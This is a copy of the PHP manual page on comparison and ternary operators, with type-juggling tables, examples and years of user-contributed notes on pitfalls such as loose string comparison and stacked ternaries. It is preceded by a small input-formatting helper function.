The purpose of this function is to return a value from the GPC (Get, Post and Cookie) and do some basic formatting to it depending on the $VALIDATION value:

<?PHP

  function RETURN_SUBMITTED_VALUE ($VARIABLE, $METHOD, $VALIDATION) {

   //-------------------------------
   // Get the value from the
   // relevant submit method...

       if ($METHOD == 'POST') {
         if (!isset($_POST[$VARIABLE])) $_POST[$VARIABLE] = '';
         $VALUE = $_POST[$VARIABLE];

       } elseif ($METHOD == 'COOKIE') {
         if (!isset($_COOKIE[$VARIABLE])) $_COOKIE[$VARIABLE] = '';
         $VALUE = $_COOKIE[$VARIABLE];

       } else {
         if (!isset($_GET[$VARIABLE])) $_GET[$VARIABLE] = '';
         $VALUE = $_GET[$VARIABLE];
       }

   //-------------------------------
   // If necessary strip the slashes.
   // the "GPC" means - GET, POST
   // COOKIE.

       if (ini_get ('magic_quotes_gpc') == true) {
         $VALUE = stripslashes($VALUE);
       }

   //-------------------------------
   // Now for the different types
   // of VALIDATION's

       if (($VALIDATION & 8) == 8) {
         $VALUE = (int)$VALUE;
       }

       if (($VALIDATION & 4) == 4) {
         $VALUE = strtolower($VALUE);
       }

       if (($VALIDATION & 2) == 2) {
         $VALUE = strip_tags($VALUE);
       }

       if (($VALIDATION & 1) == 1) {
         $VALUE = trim($VALUE);
       }

   //-------------------------------
   // Finally return the value

       return $VALUE;

  }

  echo RETURN_SUBMITTED_VALUE ('ID', 'GET', 8) . '<br />';
   // Convert to an Integer

  echo RETURN_SUBMITTED_VALUE ('NAME', 'GET', 3) . '<br />';
   // Trim Whitespace and Strip HTML tags

  echo RETURN_SUBMITTED_VALUE ('GENDER', 'GET', 6) . '<br />';
   // Strip HTML tags and convert to lower case

  //-----------------------------------------------
  // If this script was loaded under the URL
  // index.php?ID=19a&NAME=Krang&GENDER=MalE
  // it would print
  //
  // 19
  // Krang
  // male
  //-----------------------------------------------

?>

For those that don�t understand binary, the numbers you see are not random, they double each time (1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024...) which allows you to mix and match the different function, eg...

1 + 2 = 3 (Trim Whitespace + Strip HTML)
2 + 4 = 6 (Strip HTML + Convert to lower case)


Comparison Operators

Comparison operators, as their name implies, allow you to compare two values. You may also be interested in viewing the type comparison tables, as they show examples of various type related comparisons.

Comparison Operators
Example | Name | Result
$a == $b | Equal | TRUE if $a is equal to $b after type juggling.
$a === $b | Identical | TRUE if $a is equal to $b, and they are of the same type.
$a != $b | Not equal | TRUE if $a is not equal to $b after type juggling.
$a <> $b | Not equal | TRUE if $a is not equal to $b after type juggling.
$a !== $b | Not identical | TRUE if $a is not equal to $b, or they are not of the same type.
$a < $b | Less than | TRUE if $a is strictly less than $b.
$a > $b | Greater than | TRUE if $a is strictly greater than $b.
$a <= $b | Less than or equal to | TRUE if $a is less than or equal to $b.
$a >= $b | Greater than or equal to | TRUE if $a is greater than or equal to $b.

If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically. These rules also apply to the switch statement. The type conversion does not take place when the comparison is === or !== as this involves comparing the type as well as the value.

<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true

switch ("a") {
case 0:
    echo "0";
    break;
case "a": // never reached because "a" is already matched with 0
    echo "a";
    break;
}
?>

For various types, comparison is done according to the following table (in order).

Comparison with Various Types
Type of Operand 1 | Type of Operand 2 | Result
null or string | string | Convert NULL to "", numerical or lexical comparison
bool or null | anything | Convert both sides to bool, FALSE < TRUE
object | object | Built-in classes can define its own comparison, different classes are uncomparable, same class - compare properties the same way as arrays (PHP 4), PHP 5 has its own explanation
string, resource or number | string, resource or number | Translate strings and resources to numbers, usual math
array | array | Array with fewer members is smaller, if key from operand 1 is not found in operand 2 then arrays are uncomparable, otherwise - compare value by value (see following example)
object | anything | object is always greater
array | anything | array is always greater

Example #1 Boolean/null comparison

<?php
// Bool and null are compared as bool always
var_dump(1 == TRUE);  // TRUE - same as (bool)1 == TRUE
var_dump(0 == FALSE); // TRUE - same as (bool)0 == FALSE
var_dump(100 < TRUE); // FALSE - same as (bool)100 < TRUE
var_dump(-10 < FALSE);// FALSE - same as (bool)-10 < FALSE
var_dump(min(-100, -10, NULL, 10, 100)); // NULL - (bool)NULL < (bool)-100 is FALSE < TRUE
?>

Example #2 Transcription of standard array comparison

<?php
// Arrays are compared like this with standard comparison operators
function standard_array_compare($op1, $op2)
{
    if (count($op1) < count($op2)) {
        return -1; // $op1 < $op2
    } elseif (count($op1) > count($op2)) {
        return 1; // $op1 > $op2
    }
    foreach ($op1 as $key => $val) {
        if (!array_key_exists($key, $op2)) {
            return null; // uncomparable
        } elseif ($val < $op2[$key]) {
            return -1;
        } elseif ($val > $op2[$key]) {
            return 1;
        }
    }
    return 0; // $op1 == $op2
}
?>

See also strcasecmp(), strcmp(), Array operators, and the manual section on Types.

Warning

Comparison of floating point numbers

Because of the way floats are represented internally, you should not test two floats for equality.

See the documentation for float for more information.

Ternary Operator

Another conditional operator is the "?:" (or ternary) operator.

Example #3 Assigning a default value

<?php
// Example usage for: Ternary Operator
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

// The above is identical to this if/else statement
if (empty($_POST['action'])) {
    $action = 'default';
} else {
    $action = $_POST['action'];
}

?>
The expression (expr1) ? (expr2) : (expr3) evaluates to expr2 if expr1 evaluates to TRUE, and expr3 if expr1 evaluates to FALSE.

Since PHP 5.3, it is possible to leave out the middle part of the ternary operator. Expression expr1 ?: expr3 returns expr1 if expr1 evaluates to TRUE, and expr3 otherwise.

Note: Please note that the ternary operator is an expression, and that it doesn't evaluate to a variable, but to the result of an expression. This is important to know if you want to return a variable by reference. The statement return $var == 42 ? $a : $b; in a return-by-reference function will therefore not work and a warning is issued in later PHP versions.

Note:

It is recommended that you avoid "stacking" ternary expressions. PHP's behaviour when using more than one ternary operator within a single statement is non-obvious:

Example #4 Non-obvious Ternary Behaviour

<?php
// on first glance, the following appears to output 'true'
echo (true?'true':false?'t':'f');

// however, the actual output of the above is 't'
// this is because ternary expressions are evaluated from left to right

// the following is a more obvious version of the same code as above
echo ((true ? 'true' : false) ? 't' : 'f');

// here, you can see that the first expression is evaluated to 'true', which
// in turn evaluates to (bool)true, thus returning the true branch of the
// second ternary expression.
?>

User Contributed Notes

gondo 25-Apr-2014 08:47
beware of the fact, that there is no `<==` nor `>==` therefore `false <= 0` will be `true`. php v. 5.4.27
sgurukrupa at gmail dot com 21-Apr-2014 03:23
With respect to using the ternary operator as a 'null-coalescing' operator: expr1 ?: expr2, note that expr1 is evaluated only once.
Harry Willis 19-Apr-2014 12:52
I was interested about the following two uses of the ternary operator (PHP >= 5.3) for using a "default" value if a variable is not set or evaluates to false:

<?php
(isset($some_variable) && $some_variable) ? $some_variable : 'default_value';

$some_variable ?: 'default_value';
?>

The second is more readable, but will throw an ERR_NOTICE is $some_variable is not set. Of course, this could be overcome by suppressing the notice using the @ operator.

Performance-wise, though, comparing 1 million iterations of the three statements

  (isset($foo) && $foo) ? $foo : ''
  ($foo) ?: ''
  (@$foo) ?: ''

results in the following:

  $foo is NOT SET.
    [isset] 0.18222403526306
    [?:]    0.57496404647827
    [@ ?:]  0.64780592918396
  $foo is NULL.
    [isset] 0.17995285987854
    [?:]    0.15304207801819
    [@ ?:]  0.20394206047058
  $foo is FALSE.
    [isset] 0.19388508796692
    [?:]    0.15359902381897
    [@ ?:]  0.20741701126099
  $foo is TRUE.
    [isset] 0.17265486717224
    [?:]    0.11773896217346
    [@ ?:]  0.16193103790283

In other words, using the long-form ternary operator with isset($some_variable) is preferable overall if $some_variable may not be set.

(error_reporting was set to zero for the benchmark, to avoid printing a million notices...)
Boolean_Type 09-Apr-2014 06:40
Nice and helpful article!)
I would like to ask:

number == null     - it converts both types of comparisons to a boolean or numeric type? In the table the author pointed out that to a boolean. But elsewhere I read that to a numeric type.
mail at mkharitonov dot net 21-Mar-2014 08:13
Be careful with the "==" operator when both operands are strings:
<?php
var_dump('123' == '       123'); // true
var_dump('1e3' == '1000'); // true
var_dump('+74951112233' == '74951112233'); // true
var_dump('00000020' == '0000000000000000020'); // true
var_dump('0X1D' == '29E0'); // true
var_dump('0xafebac' == '11529132'); // true
var_dump('0xafebac' == '0XAFEBAC'); // true
var_dump('0xeb' == '+235e-0'); // true
var_dump('0.235' == '+.235'); // true
var_dump('0.2e-10' == '2.0E-11'); // true
var_dump('61529519452809720693702583126814' == '61529519452809720000000000000000'); // true in php < 5.4.4
damien dot launay dot mail at gmail dot com 07-Jun-2013 11:46
I found a nice way to use of new "?:" operator:

$a = array();
$a['foo'] = 'oof';

$b = @ ($a['foo'] ?: 'No foo');
$c = @ ($a['bar'] ?: 'No bar');

var_dump($b, $c);

Output:

string(3) "oof"
string(6) "No bar"

No error is thrown and $c is set with correct value.

Benefit: no need to use isset.
bimal at sanjaal dot com 25-Feb-2013 09:02
I came across peculiar outputs while I was attempting to debug a script

<?php
# Setup platform (pre conditions somewhere in a loop)
$index=1;
$tally = array();

# May work with warnings that $tally[$index] is not initialized
# Notice: Undefined offset: 1 in D:\htdocs\colors\ColorCompare\i.php on line #__
# It is an old fashioned way.
# $tally[$index] = $tally[$index] + 1;

# Does not work: Loops to attempt to change $index and values are aways unaffected
$tally[$index] = isset($tally[$index])?$tally[$index]:0+1;
$tally[$index] = isset($tally[$index])?$tally[$index]:0+1;
$tally[$index] = isset($tally[$index])?$tally[$index]:0+1;
/*
# These three lines output:
Array
(
    [1] => 1
)
*/

# Works: This is what I need/expect
# $tally[$index] = 1+(isset($tally[$index])?$tally[$index]:0);

print_r($tally);
?>

The second block obviously does not work what one expects.
Third part is good.
toader_alexandru at yahoo dot com 11-Jul-2012 10:56
it looks that

if you check 0 against a string with == then PHP returns true:

php -r 'var_dump(0 == "statuses");'
-> returns TRUE

but not if your string has a number at the beginning:

php -r 'var_dump(0 == "2statuses");'
-> returns FALSE

from the specs I get it that it attempts a conversion - in this case the string to number.

so better use ===
as always :)
wbcarts at juno dot com 18-May-2012 06:20
COMPARING PHP OBJECTS (compound type)

We have seen that PHP does a lot of type-juggling on its own -- which can wreak havoc in unexpected ways -- but it is still up to us to produce code that is clear, maintainable AND follows the rules we want to follow.

When creating a PHP Object, it is sometimes unclear what makes two of them the same. But the good part is that we can say what is equal and what is not equal. For example, let's say we have a Student class that includes an equals() method which defines what is equal for this type of object.

<?php

#Student.php

class Student
{
  /*
   * These variables are protected to prevent outside code
   * from tampering with them.
   */
  protected $student_id;
  protected $student_name;

  public function __construct($id, $name)
  {
    $this->student_id = (int)$id;          // cast to integer here
    $this->student_name = (string)$name;   // cast to string here
  }

  /*
   * This function requires an instance of type Student and
   * only evaluates two integers that we set in __construct().
   */
  public function equals(Student $student)
  {
    return ($this->getId() == $student->getId());
  }

  public function getId()
  {
    return $this->student_id;
  }

  public function getName()
  {
    return $this->student_name;
  }

  public function __toString()
  {
    return 'Student [id=' . $this->getId() .
    ', name=' . $this->getName() . ']';
  }
}
?>

With this class, the protected variables cannot be tampered with by outside code. Also, the __construct() function casts the variables to the PHP primitives WE WANT, while the equals(Student $student) function, requires an argument of type Student -- which eliminates the need for an IDENTITY '===' check AND prevents any other data types from coming in. One other note: notice how the equals() function only evaluates the $student_id, this allows for two students to have the same name -- which is totally possible.

Here's a short example -- we'll do it correctly AND try to screw it up!

<?php

require('Student.php');

$s1 = new Student(122, 'John Doe');
$s2 = new Student(344, 'John Doe');

echo $s1 . '<br>';  // Student [id=122, name=John Doe]
echo $s2 . '<br>';  // Student [id=344, name=John Doe]

# Check for equality the CORRECT way...
echo ($s1->equals($s2) ? 'EQUAL' : 'NOT EQUAL');  // NOT EQUAL

# Check for equality by HACKING the known value of $student_id...
echo ($s1->equals(122) ? 'EQUAL' : 'NOT EQUAL');  // Catchable fatal error: Argument 1 passed to Student::equals() must be an instance of Student, integer given... etc, etc.

?>

See what I mean by writing code that follows OUR RULES? The Student class does the kind of type-juggling we want (and when we want it done) -- NOT when, where, or why PHP does it (not that there's anything wrong with it).
Jeremy Swinborne 29-Mar-2012 05:06
Beware of the consequences of comparing strings to numbers.  You can disprove the laws of the universe.

echo ('X' == 0 && 'X' == true && 0 == false) ? 'true == false' : 'sanity prevails';

This will output 'true == false'.  This stems from the use of the UNIX function strtod() to convert strings to numbers before comparing.  Since 'X' or any other string without a number in it converts to 0 when compared to a number, 0 == 0 && 'X' == true && 0 == false
j-a-n at gmx dot de 13-Oct-2011 11:32
Please be careful when comparing strings with floats, especally when you are using the , as decimal.

<?php
var_dump($alt);
var_dump($neu);
var_dump($alt == $neu);
?>

string(9) "590217,73"
float(590217,73)
bool(false)

not the float is cast to a string and then string-compared, but the string is cast to a float and then float-compared.

to compare as strings use strval!

<?php
var_dump(strval($alt));
var_dump(strval($neu));
var_dump(strval($alt) == strval($neu));
?>

string(9) "590217,73"
string(9) "590217,73"
bool(true)
Cuong Huy To 10-Jul-2011 04:48
In the table "Comparison with Various Types", please move the last line about "Object" to be above the line about "Array", since Object is considered to be greater than Array (tested on 5.3.3)

(Please remove my "Anonymous" post of the same content before. You could check IP to see that I forgot to type my name)
Mark Simon 16-Jun-2011 11:20
The use of 5.3’s shortened ternary operator allows PHP to coalesce a null or empty value to an alternative:

$value = $planA ?: $planB;

My own server doesn’t yet run 5.3. A nice alternative is to use the “or” operator:

$value = $planA or $value = planB;
email at kleijn dot jp 03-May-2011 04:58
Maybe i am overlooking something but it seems to me that using unset(string) inside a ternary operator creates an error.

(($var1==0 && $var2==0)?unset($var3):$var3=$var1+$var2);

result:
Parse error: syntax error, unexpected T_UNSET

using the traditional form of IF...ELSE works normal.

if($var1==0 && $var2==0) { unset($var3); }
else { $var3=$var1+$var2; }

result:
This unsets var3 or creates a sum of var1+var2 for var3

JP Kleijn
Netherlands
zak at minion dot net 21-Apr-2011 08:18
be careful when trying to concatenate the result of a ternary operator to a string

<?php
print '<div>'.(FALSE) ? 'TRUE [bad ternary]' : 'FALSE [bad ternary]';
print '<br><br>';
print '<div>'.((FALSE) ? 'TRUE [good ternary]' : 'FALSE [good ternary]');
?>

yields:

TRUE [bad ternary]

FALSE [good ternary]

this is because the ternary evaluates '<div>'.(FALSE) not (FALSE) - so the end result is TRUE
me at lx dot sg 24-Sep-2010 04:08
Replying to the comment on Aug 6, 2010, the comparisons return TRUE because they are recognized as numerical strings and are converted to integers. If you try "abc" == " abc", it will return FALSE as expected. To avoid the type conversions, simply use the identity operator (===).
arnaud at arnapou dot net 06-Aug-2010 10:12
I discover after 10 years of PHP development something awfull : even if you make a string comparison (both are strings), strings are tested like integers and leading "space" character (even \n, \r, \t) is ignored ....

I spent hours because of leading \n in a string ... it hurts my developper sensibility to see two strings beeing compared like integers and not like strings ... I use strcmp now for string comparison ... so stupid ...

Test code :
<?php

test("1234", "1234");
test("1234", " 1234");
test("1234", "\n1234");
test("1234", "1234 ");
test("1234", "1234\n");

function test($v1, $v2) {
    echo "<h1>[".show_cr($v1)."] vs [".show_cr($v2)."]</h1>";
    echo my_var_dump($v1)."<br />";
    echo my_var_dump($v2)."<br />";
    if($v1 == $v2) {
        echo "EQUAL !";
    }
    else {
        echo "DIFFERENT !";
    }
}

function show_cr($var) {
    return str_replace("\n", "\\n", $var);
}

function my_var_dump($var) {
    ob_start();
    var_dump($var);
    $dump = show_cr(trim(ob_get_contents()));
    ob_end_clean();
    return $dump;
}

?>

Displays this ->

[1234] vs [1234]
string(4) "1234"
string(4) "1234"
EQUAL !

[1234] vs [ 1234]
string(4) "1234"
string(5) " 1234"
EQUAL !

[1234] vs [\n1234]
string(4) "1234"
string(5) "\n1234"
EQUAL !

[1234] vs [1234 ]
string(4) "1234"
string(5) "1234 "
DIFFERENT !

[1234] vs [1234\n]
string(4) "1234"
string(5) "1234\n"
DIFFERENT !
mail at markuszeller dot com 04-Aug-2010 10:40
I prefer writing (!$a == 'hello') much more than ($a != 'hello'), but I wondered about the performance.

So I did a benchmark:
<?php
for($bench = 0; $bench < 3; $bench++)
{
    $start = microtime(true);
    $a = 1;
    for($i = 0; $i < 100000000; $i++)
  {
        if(!$a == 'hello') $b++;
    }
    $end = microtime(true);
    echo "Used time: " . ($end-$start) . "\n";
}
?>
and it results with

# if($a != 'hello')
Used time: 12.552895069122
Used time: 12.548940896988
Used time: 12.470285177231

# if(!$a == 'hello')
Used time: 7.6532161235809
Used time: 7.6426539421082
Used time: 7.6452689170837
alan dot g at nospam dot net 09-May-2010 09:44
a function to help settings default values, it returns its own first non-empty argument :

make your own eor combos !

<?php

/*
 * Either Or
 *
 * usage:  $foo = eor(test1(),test2(),"default");
 * usage:  $foo = eor($_GET['foo'], foogen(), $foo, "bar");
 */

function eor() {
    $vars = func_get_args();
     while (!empty($vars) && empty($defval))
         $defval = array_shift($vars);
     return $defval;
}

?>
taras dot bogach at gmail dot com 31-Mar-2010 04:46
Boolean switch usege

<?php
class User_Exception extends Exception{}
class User{
  public function register($login,$pass,$passCheck)
    switch(false){
      case(strlen($pass) >= 5):
        throw new User_Exception("Password must be at last 5 chars length");
      case($pass == $passCheck):
        throw new User_Exception("Password is not confirmed!");
      case(strlen($login) >= 5):
        throw new User_Exception("Login must be at last 5 chars length");
      //Do other checks
      default:
        //Do registration
        return true;
    }
  }
  //...
}
?>
crazy888s at hotmail dot com 02-Feb-2010 07:32
I couldn't find much info on stacking the new ternary operator, so I ran some tests:

<?php
echo 0 ?: 1 ?: 2 ?: 3; //1
echo 1 ?: 0 ?: 3 ?: 2; //1
echo 2 ?: 1 ?: 0 ?: 3; //2
echo 3 ?: 2 ?: 1 ?: 0; //3

echo 0 ?: 1 ?: 2 ?: 3; //1
echo 0 ?: 0 ?: 2 ?: 3; //2
echo 0 ?: 0 ?: 0 ?: 3; //3
?>

It works just as expected, returning the first non-false value within a group of expressions.
ISAWHIM 30-Jan-2010 07:53
When it comes to formatting structure of the conditional statements, I found this to work best and retain logic in views...

<?php
$z = 2;
$text = ($z===1 ? 'ONE'
  : ($z===2 ? 'TWO'
  : ($z===3 ? 'THREE'
  : 'MORE' )));
echo($text); // RESULT='TWO'

// LONGHAND

$z = 2;
$text = ($z===1?'ONE' : ($z===2?'TWO' : ($z===3?'THREE' : 'MORE')));
echo($text); // RESULT='TWO'
?>

Since this is expected to test logic, and nothing more, only use it to test logic.

To test order, if you ever forget...

<?php
$z = 1;
$text = ($z===1 ? 'FIRST : OUTTER'
  : ($z===1 ? 'SECOND : INNER'
  : ($z===1 ? 'THIRD : LAST'
  : 'FAIL EVAL DEFAULT' )));
echo($text); // RETURN='FIRST : OUTTER'

$z = 2;
$text = ($z===1 ? 'FIRST : OUTTER'
  : ($z===1 ? 'SECOND : INNER'
  : ($z===1 ? 'THIRD : LAST'
  : 'FAIL EVAL DEFAULT' )));
echo($text); // RETURN='FAIL EVAL DEFAULT'
?>

(IF ? THEN : ELSE)
(IF ? THEN : ELSE(IF ? THEN : ELSE(IF ? THEN : ELSE))

That can't be read from inside to out, unlike a math formula, because the logic in comparison is not the same. In math nesting, you need the solution to the deepest nested element first. In logic comparison, you always start outside before you compare inside. (Logically, IF there is no door THEN you need something ELSE to get inside. Oh, there is a window... We are inside, now IF there is a fridge THEN open it or ELSE you starve.)
kapoor_rajiv at hotmail dot com 13-Oct-2009 03:09
A quick way to do mysql bit comparison in php is to use the special character it stores . e.g
<?php
                                        if ($AvailableRequests['OngoingService'] == '')
                                            echo '<td>Yes</td>';
                                        else
                                            echo '<td>No</td>';

?>
pinkgothic at gmail dot com 18-Sep-2009 01:28
"Array with fewer members is smaller, if key from operand 1 is not found in operand 2 then arrays are uncomparable, otherwise - compare value by value (see following example)."

The example covers this behaviour, but it isn't immediately obvious, so:

If you're doing loose comparisons in PHP, note that they differ from checking each value individually like $value1==$value2 by adding what amounts to an empty($value1)==empty($value2) check into the mix. I found this out by investigating some (to me) bizarre behaviour.
[Note that the example contains no ==, just > and <. It's its absence that perceivedly 'causes empty() to fire'.]

I was also pleasantly surprised to see PHP recurse. Also clear if you keep in mind that the example implies another function call to itself with > and < if both operands are arrays, but IMO definitely worth stating.

It might also be worth noting that the order of array keys doesn't matter, even if a foreach() would see a 'different' array. Again, covered by the example, but might be worth stressing.
Anonymous 04-Aug-2009 07:44
Note: The ternary shortcut currently seems to be of no use in dealing with unexisting keys in an array, as PHP will throw an error. Take the following example.

<?php
$_POST['Unexisting'] = $_POST['Unexisting'] ?: false;
?>

PHP will throw an error that the "Unexisting" key does not exist. The @ operator does not work here to suppress this error.
monkuar at gmail dot com 28-Jul-2009 01:45
U can even add a variable on that if u wish:

($Profile['skinstyle']=='0')? $lol = "selected":"";

then call it out.. alot faster. if u use EOF.. and such like on ibp :(
Anonymous 08-Feb-2009 03:37
Here is some ternary trick I like to use for selecting a default value in a set of radio buttons. This example assumes that a prior value was known and that we are offering a user the chance to edit that prior value. If no prior value was actually known, no default value will be set.

<form>
<input type='radio' name='gender' value='m' <?=($gender=='m')?"checked":""?>>Male
<input type='radio' name='gender' value='f' <?=($gender=='f')?"checked":""?>>Female
</form>

When a "=" directly follows a "<?" (no space allowed in between -- the trick does not work with "<?php"), the right side of the operand (here, the result of the ternary operation) is printed out as text into the surrounding HTML code. If using "<?php" form, you will need to do "<?php echo exp1?exp2:exp3 ?>" instead.
Hayley Watson 27-Oct-2008 05:45
The cast from null to boolean is documented (on the page describing the boolean type: null->false), and so is the cast from boolean to integer (on the page describing the integer type: false->0), but the cast from null to integer is undefined and the fact that it is currently implemented by casting from null to boolean and then from boolean to integer is explicitly documented (on the page describing the integer type) as something that should not be relied on (so null==0 is true only by accident, but ((int)(bool)null)==0 is true per specification).

Perhaps as well as a "Converting to integer" section on the integer type page there should also be a "Converting from integer" section; similarly for the other types.
Amaroq 25-Feb-2008 12:13
Most of the time, you may be content with your conditionals evaluating to true if they are evaluating a non-false, non-zero value. You may also like it when they evaluate to false when you use the number 0.

However, there may be times where you want to make a distinction between a non-false value and a boolean true. You may also wish to make a distinction between a boolean false and a zero.

The identity operator can make this distinction for you.

<?php
$a = 'some string';
$b = 123;
$c = 0;

if($a && $b && (!$c))
{ echo "True.\n"; } else { echo "False.\n"; }

if($a == true && $b == true && $c == false)
{ echo "True.\n"; } else { echo "False.\n"; }

if($a === true || $b === true || $c === false)
{ echo "True.\n"; } else { echo "False.\n"; }
?>

The above code outputs the following:
True.
True.
False.

As you can see, in the first two cases, $a and $b are considered true, while $c is considered false. If this wasn't the case, neither of the first two conditionals would have echoed "True."

In the last case, I've cleverly used the || operator to demonstrate that both $a and $b do not evaluate to true with the identity operator, nor does $c evaluate to false.

The === operator can be used to distinguish boolean from non-boolean values.
ken at smallboxsoftware net 15-Nov-2007 05:20
This seems a bit odd to me, but PHP can convert two strings into integers during comparison.  For example: "700" == "+700" return true even though they are totally different strings.

Use === or strcmp when comparing two strings to ensure that they remain as strings during comparison.
Hayley Watson 10-Apr-2007 07:38
Note that the "ternary operator" is better described as the "conditional operator". The former name merely notes that it has three arguments without saying anything about what it does. Needless to say, if PHP picked up any more ternary operators, this will be a problem.

"Conditional Operator" is actually descriptive of the semantics, and is the name historically given to it in, e.g., C.
thomas dot oldbury at tgohome dot com 27-Feb-2007 06:37
Be careful when using the ternary operator!

The following will not evaluate to the expected result:

<?php
echo "a string that has a " . (true) ? 'true' : 'false' . " condition in. ";
?>

Will print true.

Instead, use this:

<?php
echo "a string that has a " . ((true) ? 'true' : 'false') . " condition in. ";
?>

This will evaluate to the expected result: "a string that has a true condition in. "

I hope this helps.
fernandoleal at dragoncs dot com 03-Feb-2007 08:19
If you need nested ifs on I var its important to group the if so it works.
Example:
<?php
//Dont Works
//Parse error: parse error, unexpected ':'
 $var='<option value="1" '.$status == "1" ? 'selected="selected"' :''.'>Value 1</option>';
 //Works:
 $var='<option value="1" '.($status == "1" ? 'selected="selected"' :'').'>Value 1</option>';

echo $var;
?>
stepheneliotdewey at gmail [period] com 07-Jan-2007 03:49
Note that typecasting will NOT prevent the default behavior for converting two numeric strings to numbers when comparing them.

e.g.:

<?php
if ((string) '0123' == (string) '123')
    print 'equals';
else
    print 'doesn\'t equal';
?>

Still prints 'equals'

As far as I can tell the only way to avoid this is to use the identity comparison operators (=== and !==).
04-Jan-2007 04:11
Since php 5.2 the operator == for object vs object is not recursion safe, it will cause a fatal error if one of the objects contains a refernce to it self (indirect refferences also counts here).
If you are just checking if two object pointers points to the same object use === instead and aviod this issue (you might get a minimal speed bost too).
bishop 27-Oct-2006 12:49
When you want to know if two arrays contain the same values, regardless of the values' order, you cannot use "==" or "===".  In other words:

<?php
(array(1,2) == array(2,1)) === false;
?>

To answer that question, use:

<?php
function array_equal($a, $b) {
    return (is_array($a) && is_array($b) && array_diff($a, $b) === array_diff($b, $a));
}
?>

A related, but more strict problem, is if you need to ensure that two arrays contain the same key=>value pairs, regardless of the order of the pairs.  In that case, use:

<?php
function array_identical($a, $b) {
    return (is_array($a) && is_array($b) && array_diff_assoc($a, $b) === array_diff_assoc($b, $a));
}
?>

Example:
<?php
$a = array (2, 1);
$b = array (1, 2);
// true === array_equal($a, $b);
// false === array_identical($a, $b);

$a = array ('a' => 2, 'b' => 1);
$b = array ('b' => 1, 'a' => 2);
// true === array_identical($a, $b)
// true === array_equal($a, $b)
?>

(See also the solution "rshawiii at yahoo dot com" posted)
pcdinh at phpvietnam dot net 10-Aug-2006 06:50
You should be very careful when using == with an result set returned from a query that can be an empty array, multi-dimensional array or a boolean false value (if the query failed to execute). In PHP, an empty array is equivalent to true.

<?php
$myArray = array();

// check if there is any error with the query
if ($myArray == false)
{
    echo "Yes";
}
?>

return Yes

Use === instead.
Alex 17-May-2006 04:49
I think everybody should read carefully what "jeronimo at DELETE_THIS dot transartmedia dot com" wrote. It's a great pitfall even for seasoned programmers and should be looked upon with a great attention.
For example, comparing passwords with == may result in a very large security hole.

I would add some more to it:

The workaround is to use strcmp() or ===.

Note on ===:

While the php documentation says that, basically,
($a===$b)  is the same as  ($a==$b && gettype($a) == gettype($b)),
this is not true.

The difference between == and === is that === never does any type conversion. So, while, according to documentation, ("+0.1" === ".1") should return true (because both are strings and == returns true), === actually returns false (which is good).
adam at caucho dot com 09-May-2006 07:49
Note: according to the spec, PHP's comparison operators are not transitive.  For example, the following are all true in PHP5:

"11" < "a" < 2 < "11"

As a result, the outcome of sorting an array depends on the order the elements appear in the pre-sort array.  The following code will dump out two arrays with *different* orderings:

<?php
$a = array(2,    "a",  "11", 2);
$b = array(2,    "11", "a",  2);
sort($a);
var_dump($a);
sort($b);
var_dump($b);
?>

This is not a bug report -- given the spec on this documentation page, what PHP does is "correct".  But that may not be what was intended...
rshawiii at yahoo dot com 18-Jan-2006 08:36
You can't just compare two arrays with the === operator
like you would think to find out if they are equal or not.  This is more complicated when you have multi-dimensional arrays.  Here is a recursive comparison function.

<?php
/**
 * Compares two arrays to see if they contain the same values.  Returns TRUE or FALSE.
 * usefull for determining if a record or block of data was modified (perhaps by user input)
 * prior to setting a "date_last_updated" or skipping updating the db in the case of no change.
 *
 * @param array $a1
 * @param array $a2
 * @return boolean
 */
function array_compare_recursive($a1, $a2)
{
   if (!(is_array($a1) and (is_array($a2)))) { return FALSE;}

   if (!count($a1) == count($a2))
      {
       return FALSE; // arrays don't have same number of entries
      }

   foreach ($a1 as $key => $val)
   {
       if (!array_key_exists($key, $a2))
           {return FALSE; // uncomparable array keys don't match
              }
       elseif (is_array($val) and is_array($a2[$key]))  // if both entries are arrays then compare recursive
           {if (!array_compare_recursive($val,$a2[$key])) return FALSE;
           }
       elseif (!($val === $a2[$key])) // compare entries must be of same type.
           {return FALSE;
           }
   }
   return TRUE; // $a1 === $a2
}
?>
07-Sep-2005 10:09
The following contrasts the trinary operator associativity in PHP and Java.  The first test would work as expected in Java (evaluates left-to-right, associates right-to-left, like if stmnt), the second in PHP (evaluates and associates left-to-right)

<?php

echo "\n\n######----------- trinary operator associativity\n\n";

function trinaryTest($foo){

    $bar    = $foo > 20
            ? "greater than 20"
            : $foo > 10
                ? "greater than 10"
                : $foo > 5
                    ? "greater than 5"
                    : "not worthy of consideration";
    echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTest\n\n";
trinaryTest(21);
trinaryTest(11);
trinaryTest(6);
trinaryTest(4);

function trinaryTestParens($foo){

    $bar    = $foo > 20
            ? "greater than 20"
            : ($foo > 10
                ? "greater than 10"
                : ($foo > 5
                    ? "greater than 5"
                    : "not worthy of consideration"));
    echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTestParens\n\n";
trinaryTestParens(21);
trinaryTestParens(11);
trinaryTest(6);
trinaryTestParens(4);

?>

Output:

######----------- trinary operator associativity

----trinaryTest

21 =>  greater than 5
11 =>  greater than 5
6 =>  greater than 5
4 =>  not worthy of consideration

----trinaryTestParens

21 =>  greater than 20
11 =>  greater than 10
6 =>  greater than 5
4 =>  not worthy of consideration
sven dot heyll at web dot de 05-Dec-2004 10:19
Hi folks,
to the float comparison problem...

This worked for me:

<?php
//! compare two floating point values, return true if they are equal
//! (enough) or false otherwise
function float_equal($f1, $f2)
{
    return ($f1 > $f2) ? (false) : (!($f1 < $f2));
}

// compare floats
$f1 = 0.037;
$f2 = 1000387.978;
echo "$f1 and $f2 are ".(float_equal($f1,$f2)?("equal"):("not equal"))."<br />";
$f1 = 0.3;
$f2 = 0.3;
echo "$f1 and $f2 are ".(float_equal($f1,$f2)?("equal"):("not equal"))."<br />";
?>
hiroh2k at yahoo dot com 19-Oct-2004 08:05
if you want to use the ?: operator, you should be careful with the precedence.

Here's an example of the priority of operators:

<?php
echo 'Hello, ' . isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register';
?>

